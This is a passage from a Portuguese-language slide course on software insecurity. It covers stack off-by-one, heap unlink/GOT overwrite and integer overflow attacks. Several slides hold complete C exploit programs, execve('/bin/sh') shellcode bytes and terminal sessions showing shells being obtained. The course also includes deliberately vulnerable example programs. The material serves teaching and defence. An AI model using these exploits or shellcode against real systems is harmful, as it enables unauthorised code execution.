Page 75: (In)Segurança De Software, Quebrando Códigos

Stack OverflowA técnica

Pilha do programa vulnerável payload injetado

buf

retaddrstr1

ebp

str2x

ebpretaddr

str1str2

shellcode

retaddrstr1

ebp

str2

ret...

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 76: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

Os 128 bytes do buffer serão preenchidos com o payload.

Mais 80 bytes serão passados com o endereço de retorno.

[rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin `ESP: 0xbffff444[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 77: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

Deve-se considerar o tamanho do buffer:ret = 0xbffff444 - 128

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 78: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

[rafael@centos stack]$ ./nonull `cat badfile_nonull.bin `��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� �H�����`������������������������������������������������������������������������������������sh-3.2$ exitexit[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 79: (In)Segurança De Software, Quebrando Códigos

Stack OverflowOff by one

int func1(char *str){char buf[200];

strcpy(buf, "argv[1] = "); strncat(buf, str, sizeof(buf) - strlen(buf) );

printf("%s\n", buf);}

/*função de auxílio já que o frame da main é protegido*/int func(char *str){

func1(str);}

int main(int argc, char *argv[]){

if(argc != 2){fprintf(stderr, "uso %s

<arg>\n", argv[0]);return 1;

}

func(argv[1]);}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 80: (In)Segurança De Software, Quebrando Códigos

Stack OverflowA técnica

Consiste na falsificação do frame de pilha da função chamadora.

retaddrstr

buf

ebp

ebpretaddr

retaddrstr

shellcode

ebp

ebpretaddr

ret...

Pilha do programa vulnerável payload injetado

Quando a função chamadora retornar, o valor apontado pelo ebp injetado + 4 tomará o controle do eip.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 81: (In)Segurança De Software, Quebrando Códigos

Stack OverflowA técnica

Como sobrescrevemos o byte menos significativo do ebp, o deslocamento máximo do ebp da função chamadora é 255 bytes.

Quanto menor o valor do LSB do ebp salvo, menor será o deslocamento, e quanto menor o deslocamento, pode-se garantir que o novo ebp apontará para o fim do buffer.

Preenchendo o início do buffer com o endereço do payload o fluxo será redirecionado para o código injetado.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 82: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

Dos 200 bytes do buffer sobram 190 para a entrada do programa

[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `ESP: 0xbffff454[rafael@centos stack]$

O LSB deve ser menor.

[rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'`[rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `ESP: 0xbffff3f4[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 83: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

Deve-se considerar o tamanho do buffer:ret = 0xbffff3f4 - 200

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 84: (In)Segurança De Software, Quebrando Códigos

Stack OverflowO ataque

[rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin `Argv[1] = �����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� ,���,���,���,���,���,���,���,���,���,���,���,���,���,���,���,sh-3.2$ exitexit[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 85: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 86: (In)Segurança De Software, Quebrando Códigos

Heap OverflowHeap

Área da memória reservada para alocação dinâmica de blocos de memória.

Cada bloco alocado possui um cabeçalho de controle.

Gerenciada e organizada por algorítimos complexos.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 87: (In)Segurança De Software, Quebrando Códigos

Heap OverflowCabeçalho da heap

dados

prev_size

00010000b

00010001b

dados

tam & PREV_INUSE

próximo livre

anterior livre

dados

prev_size

00010000b

00010001b

próximo livre

anterior livre

00010000b

tam

próximo livre

anterior livre

prev_size

size

fd

bk

prev_size

size

fd

bk

prev_size

size

fd

bk

chunk B

chunk A

chunk C

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 88: (In)Segurança De Software, Quebrando Códigos

Heap OverflowCampos do cabeçalho

prev_size: Caso o chunk anterior (fisicamente) esteja livre, contém tamanho deste chunk, caso contrário, é usado como espaço para dados do chunk anterior.

size: tamanho em bytes (múltiplos de 8) do chunk atual. Dois bits menos significativos PREV_INUSE e IS_MMAPPED.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 89: (In)Segurança De Software, Quebrando Códigos

Heap OverflowCampos do cabeçalho

fd: próximo chunk na bin. Caso chunk esteja alocado é usado como área de dados.

bk: chunk anterior na bin. Caso chunk esteja alocado é usado como área de dados.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 90: (In)Segurança De Software, Quebrando Códigos

Heap OverflowOrganização da heap

Chunks livres ficam em uma lista duplamente encadeada chamada bin.

Essa lista é controlada pelos campos fd e bk do cabeçalho.

Há uma bin para cada tamanho de chunk (8, 64, 512, etc).

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 91: (In)Segurança De Software, Quebrando Códigos

Heap OverflowOrganização da heap

Quando free() é chamada em um endereço de memória (área de dados de um chunk), os chunks fisicamente adjacentes são checados a fim de fazer uma fusão gerando um chunk maior.

Assim sendo, o chunk livre tem que ser retirado da bin onde se encontra, e só então a fusão pode acontecer.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 92: (In)Segurança De Software, Quebrando Códigos

Heap OverflowOrganização da heap

#define unlink( P,BK,FD) { \BK = P->bk; \FD = P->fd; \FD->bk = BK; \BK->fd = FD; \

}

unlink() é chamada no chunk.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 93: (In)Segurança De Software, Quebrando Códigos

Heap OverflowOrganização da heap

Controlando fd e bk do chunk P é possível sobrescrever qualquer endereço de memória.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 94: (In)Segurança De Software, Quebrando Códigos

Heap OverflowAlterando terceiro chunk

char payload[] = /*jmp*/"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";

int main (void){int *aux;void (*foo)() = NULL;char *ptr1, *ptr2;

ptr1 = malloc (128);ptr2 = malloc (16);

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 95: (In)Segurança De Software, Quebrando Códigos

Heap OverflowAlterando terceiro chunk

aux = ptr2;*aux = ((char*)&foo) - 12; /* FD 2*/aux++;*aux = payload; /* BK 2*/

aux = ptr2+16;*aux = 0xdefaced; /* prev_size 3*/aux++;*aux = 0xdefaced & ~0x1; /*size 3*/

free (ptr1);if( foo )

foo();}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 96: (In)Segurança De Software, Quebrando Códigos

Heap OverflowAlterando terceiro chunk

fd do segundo chunk recebe o endereço a ser sobrescrito menos 12 (FD->bk = FD+12).

bk recebe valor (comprimento de um ponteiro) a ser colocado no endereço alvo.

O campo size do terceiro chunk recebe um valor qualquer em que o bit PREV_INUSE esteja desativado.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 97: (In)Segurança De Software, Quebrando Códigos

Heap OverflowAlterando terceiro chunk

Quando free() é chamada para desalocar o primeiro chunk, o campo size do terceiro chunk é testado, e como o bit PREV_INUSE está desativado unlink() será chamada no segundo chunk de modo que se possa fazer a junção do primeiro e do segundo.

foo então recebe o endereço de payload. payload+8 (BK->fd = BK+8) recebe endereço de foo menos 12.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 98: (In)Segurança De Software, Quebrando Códigos

Heap OverflowAlterando terceiro chunk

Como são sobrescritos 4 bytes a partir de payload+8 haverão instruções ilegais no meio do shellcode.

[rafael@centos heap]$ ./heap_overflow_ex1sh-3.2$

jmp 0xa dummy shellcode

0xa

payload+8

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 99: (In)Segurança De Software, Quebrando Códigos

Heap OverflowForjando terceiro chunk

char payload[] = /*jmp*/"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";

int main(){int *aux;void (*foo)() = NULL;char *ptr1, *ptr2;

ptr1 = malloc (128);ptr2 = malloc (16);

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 100: (In)Segurança De Software, Quebrando Códigos

Heap OverflowForjando terceiro chunk

aux = ptr2-12;*aux = 0xdefaced & ~0x1; /*size fake 3*/

aux++;*aux = 0xdefaced; /*prev_size 2*/aux++;*aux = -8 | 0x1; /* size 2*/aux++;*aux = ((char*)&foo) - 12; /* FD 2*/aux++;*aux = payload; /* BK 2*/

free (ptr1);if( foo )

foo();}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 101: (In)Segurança De Software, Quebrando Códigos

Heap OverflowForjando terceiro chunk

O terceiro chunk localiza-se na posição (ptr2-8) + *(ptr2-4).

free() entende que o campo size do terceiro chunk localiza-se em (ptr2-12).

Na representação de -8 o bit PREV_INUSE está desativado então unlink() é chamada no chunk 2.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 102: (In)Segurança De Software, Quebrando Códigos

Heap OverflowA técnica

chunk B

0xdefaced

prev_size

00010000b

00010001b

(GOT entry) - 12

shellcode addr

0xdefaced

tam & ~PREV_INUSE

próximo livre

anterior livre

0xdefaced

shellcode

dados

prev_size

00010000b

00010001b

dados

tam & PREV_INUSE

próximo livre

anterior livre

chunk A

chunk C

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 103: (In)Segurança De Software, Quebrando Códigos

Heap OverflowA técnica

O atacante controla o chunk A. Os primeiros 8 bytes correspondem aos campos fd e bk do chunk e serão sobrescritos ao se inserir o chunk na bin.

Shellcode é injetado.

Controlando bk e fd do segundo chunk pode-se sobrescrever qualquer endereço. Basta desabilitar o flag PREV_INUSE do terceiro chunk.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 104: (In)Segurança De Software, Quebrando Códigos

Heap OverflowA técnica

É possível colocar o endereço do payload em qualquer lugar da memória.

Mas como fazer o payload ganhar o controle do eip?

R: GOT

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 105: (In)Segurança De Software, Quebrando Códigos

Heap OverflowA técnica

É através da Global Offset Table que funções de bibliotecas compartilhadas são carregadas dinamicamente.

Chamadas de função fazem referência à GOT. Na primeira vez que uma função é chamada um endereço é alocado para a mesma. Esse endereço é colocado na GOT.

Chamadas subsequentes redirecionam o eip para o endereço encontrado na tabela.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 106: (In)Segurança De Software, Quebrando Códigos

Heap OverflowA técnica

[rafael@centos heap]$ objdump -R heap_overflow_ex2

heap_overflow_ex2: file format elf32-i386

DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 080495f0 R_386_GLOB_DAT __gmon_start__08049600 R_386_JUMP_SLOT __gmon_start__08049604 R_386_JUMP_SLOT __libc_start_main08049608 R_386_JUMP_SLOT free0804960c R_386_JUMP_SLOT malloc[rafael@centos heap]$

Sobrescrevendo o endereço 0x08049608 com o endereço de bar(), toda vez que free() for chamada o fluxo será direcionado para o código de bar().

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 107: (In)Segurança De Software, Quebrando Códigos

Heap OverflowPrograma vulnerável

int main( int argc, char * argv[] ){char *first, *second;

if(argc != 2)return;

first = malloc(666);second = malloc(12);

strcpy( first, argv[1] );printf("%s\n", first);

free( first );free( second );

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 108: (In)Segurança De Software, Quebrando Códigos

Heap OverflowO ataque

#define FUNCTION_POINTER ( 0x08049628 )#define CODE_ADDRESS ( 0x804a008 + 2*4 )char payload[] = /*jmp*/

"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";

int main(){char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL};char buffer[ 680 + 1 ];p = buffer;

*((int*)p) = 0xdefaced; /*FD*/p += 4;*((int*)p) = 0xdefaced; /*BK*/p += 4;(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 109: (In)Segurança De Software, Quebrando Códigos

Heap OverflowO ataque

memcpy( p, payload, strlen(payload) );p += strlen( payload );memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) );p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) );

*((int*)p) = 0xdefaced & ~0x1; /*size 3*/p += 4;*((int*)p) = 0xdefaced; /*prev_size 2*/p += 4;*((int*)p) = -8 | 0x1; /*size 2*/p += 4;*((int*)p) = FUNCTION_POINTER - 12; /*FD*/p += 4;*((int*)p) = CODE_ADDRESS; /*BK*/p += 4;*p = '\0';execve(argv[0], argv, NULL);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 110: (In)Segurança De Software, Quebrando Códigos

Heap OverflowO ataque

chunk B

dados

prev_size

00010000

00010001

dados

tam & PREV_INUSE

chunk A

chunk C

Fake C

0xdefaced

prev_size

00010000

0xfffffff8

(GOT entry) - 12

shellcode addr

...

tam & PREV_INUSE

0xdefaced

shellcode

0xdefaced

0xdefaced & ~0x1

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 111: (In)Segurança De Software, Quebrando Códigos

Heap OverflowExecução do ataque

[rafael@centos heap]$ ./exploit_heap_overflow_ex3ë¬ïAAAAAAAAAA1ÀPh//shh/binãPSá1Ò° ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ïsh-3.2$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 112: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 113: (In)Segurança De Software, Quebrando Códigos

Integer OverflowRepresentação de inteiro

Uma variável tem um valor limite ditado pelo tamanho da mesma na memória. Quando esse valor limite é ultrapassado a variável é zerada, pois foi estourado seu limite físico.

11111111b (255) + 00000001b (1) ------------------

100000000b

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 114: (In)Segurança De Software, Quebrando Códigos

Integer OverflowUnsigned overflow

int main(){int i;unsigned char cont;

cont = 0;for(i = 0; i < 300; i++)

printf("%d\n", cont++);}

...253254255012...

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 115: (In)Segurança De Software, Quebrando Códigos

Integer OverflowRepresentação de inteiro

A representação de números negativos é feita através do complemento de 2.

-4 = (~4)+1 <=> -4 = (~00000100b) + 1b <=> -4 = (11111011b) + 1b <=> -4 = 11111100b

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 116: (In)Segurança De Software, Quebrando Códigos

Integer OverflowRepresentação de inteiro

Uma variável deve especificar se representa valores signed (padrão) ou unsigned.

N bits representando valores unsigned podem assumir os valores [0,2ⁿ - 1].

Representando valores signed o msb é usado para representação de números negativos, logo o intervalo é [-2ⁿ˗¹, 2ⁿ˗¹ - 1].

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 117: (In)Segurança De Software, Quebrando Códigos

Integer OverflowSigned overflow

int main(){int i;char cont;

cont = 0;for(i = 0; i < 300; i++)

printf("%d\n", cont++);}

...125126127-128-127-126...

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 118: (In)Segurança De Software, Quebrando Códigos

Integer OverflowConversões de tipo

Ao se converter um signed de tipo menor para um unsigned de tipo maior ocorre sign extension e um valor negativo passa a ser representado como um valor muito grande.

Ao se converter um signed de tipo menor para um signed de tipo maior ocorre sign extension e os valores são preservados.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 119: (In)Segurança De Software, Quebrando Códigos

Integer OverflowConversões de tipo

Ao se converter um unsigned de tipo menor para um unsigned de tipo maior ocorre zero extension e o valor é preservado.

Ao se converter um tipo maior para um tipo menor ocorre truncamento de bytes e os valores podem ser alterados.

Ao se converter de signed para unsigned de mesmo tipo, a representação de bits não se altera mas o valor é interpretado de maneira diferente.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 120: (In)Segurança De Software, Quebrando Códigos

Integer OverflowTruncamento

int main(void){int i; short s;char c;

c = s = i = 0x41424344;printf("i = 0x%x (%d)\n", i, i);printf("s = 0x%x (%d)\n", s, s);printf("c = 0x%x (%d)\n", c, c);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 121: (In)Segurança De Software, Quebrando Códigos

Integer OverflowTruncamento

Ocorre quando um valor é atribuído a uma variável que não tem capacidade para representá-lo completamente. Então os bits mais significativos são descartados.

[rafael@centos integer]$ ./integer_overflow_ex3i = 0x41424344 (1094861636)s = 0x4344 (17220)c = 0x44 (68)[rafael@centos integer]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 122: (In)Segurança De Software, Quebrando Códigos

Integer OverflowSign extension

int main(void){int i; char c;

i = c = (char)0xf0;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);

i = c = (char)0x70;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 123: (In)Segurança De Software, Quebrando Códigos

Integer OverflowSign extension

Ocorre quando um valor signed é convertido para um tipo maior. O valor é copiado, e o bit mais significativo é estendido para os bits não usados.

[rafael@centos integer]$ ./integer_overflow_ex4 i = 0xfffffff0 (-16)c = 0xfffffff0 (-16)i = 0x70 (112)c = 0x70 (112)[rafael@centos integer]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 124: (In)Segurança De Software, Quebrando Códigos

Integer OverflowZero extension

int main(void){int i; unsigned char c;

i = c = (unsigned char)0xf0;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);

i = c = (unsigned char)0x70;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 125: (In)Segurança De Software, Quebrando Códigos

Integer OverflowZero extension

Ocorre quando um valor unsigned é convertido para um tipo maior. O valor é copiado, e ocorre um extensão de zeros para os bits não usados.

[rafael@centos integer]$. ./integer_overflow_ex5 i = 0xf0 (240)c = 0xf0 (240)i = 0x70 (112)c = 0x70 (112)[rafael@centos integer]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 126: (In)Segurança De Software, Quebrando Códigos

Integer OverflowPromoção de inteiros

int main(void){unsigned char x = 10, sub;

if( (x-20) <= -1 )printf("x (%d) é menor que 20\n", x);

elseprintf("x (%d) é maior que 20\n", x);

sub = x-20;if( sub <= -1 )

printf("x (%d) é menor que 20\n", x);else

printf("x (%d) é maior que 20\n", x);}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 127: (In)Segurança De Software, Quebrando Códigos

Integer OverflowPromoção de inteiros

Quando uma operação ocorre sobre uma variável, ela pode ser promovida para atender à expectativa do operador. Geralmente tudo é promovido para o tipo int.

Caso uma operação entre duas variáveis seja realizada, e uma delas é de tipo maior que int, a outra é promovida para esse tipo.

Se o operando unsigned for de tamanho maior ou igual ao do signed, promove-se o operando signed para o tipo do operando unsigned.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 128: (In)Segurança De Software, Quebrando Códigos

Integer OverflowPromoção de inteiros

Se a representação for a mesma (signed ou unsigned), o operando de tipo menor é promovido para o de tipo maior.

Se o operando signed tiver tamanho maior que o operando unsigned e puderem ser preservados os valores, promove-se o operando unsigned para o tipo do operando signed.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 129: (In)Segurança De Software, Quebrando Códigos

Integer OverflowPromoção de inteiros

[rafael@centos integer]$ ./integer_overflow_ex6 x (10) é menor que 20x (10) é maior que 20[rafael@centos integer]$

Se o operador signed tiver tamanho maior que o do operando unsigned, e não puderem ser preservados os valores, promovem-se ambos para unsigned com tipo do operando signed.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 130: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProgramas vulneráveis

#define MAXLEN 8

int main(){int len, n;char buffer[MAXLEN];

scanf("%d\n", &len);if(len > MAXLEN-1){

fprintf(stderr, "tamanho requisitado maior do que o permitido\n"); return 1;

}

if( (n = fread(buffer, 1, len, stdin)) < 0 )return 1;

buffer[n] = '\0';printf("buffer %s", buffer);printf("\n");

}(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 131: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProgramas vulneráveis

[rafael@centos integer]$ ./integer_overflow_ex7-1AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBBSegmentation fault[rafael@centos integer]$

Como o programa usa fread() para ler da entrada padrão, devemos terminar a entrada com um EOF (ctrl-D).

Na checagem de tamanho, len é um número negativo muito pequeno. Na passagem para fread() é convertido para unsigned, sendo interpretado como um valor muito grande.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 132: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProgramas vulneráveis

#define MAXLEN 200

int main(int argc, char *argv[]){unsigned char len;char buffer[MAXLEN];

if(argc != 2)return 1;

len = strlen(argv[1]);if(len > MAXLEN-1){

fprintf(stderr, "argumento muito longo\n");return 1;

}

strcpy(buffer, argv[1]);printf("%s\n", buffer);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 133: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProgramas vulneráveis

[rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault[rafael@centos integer]$

O comando perl passa 256 caracteres “A” como entrada. Esse valor não pode ser representado por len, com isso ocorre o truncamento e len recebe zero de strlen(argv[1]).

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 134: (In)Segurança De Software, Quebrando Códigos

Integer OverflowAntisniff v1.0

A seguinte função faz o parsing de um domínio de dns e copia os dados para nameStr.

Cada palavra do domínio é precedida por 1 byte que indica o tamanho da palavra.

O pacote termina com um byte 0x00, indicando o fim do pacote.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 135: (In)Segurança De Software, Quebrando Códigos

Integer OverflowCódigo do parsing

char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;

while (count){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;

count = (char)*indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));

}nameStr[strlen(nameStr)-1] = '\0';

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 136: (In)Segurança De Software, Quebrando Códigos

Integer OverflowBuffer não gerenciado

Não é feita nenhuma checagem de tamanho do buffer nameStr, o que possibilita um buffer overflow.

Enquanto count != 0 dados serão escritos no buffer.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 137: (In)Segurança De Software, Quebrando Códigos

Integer OverflowVamos corrigir isso rápido!

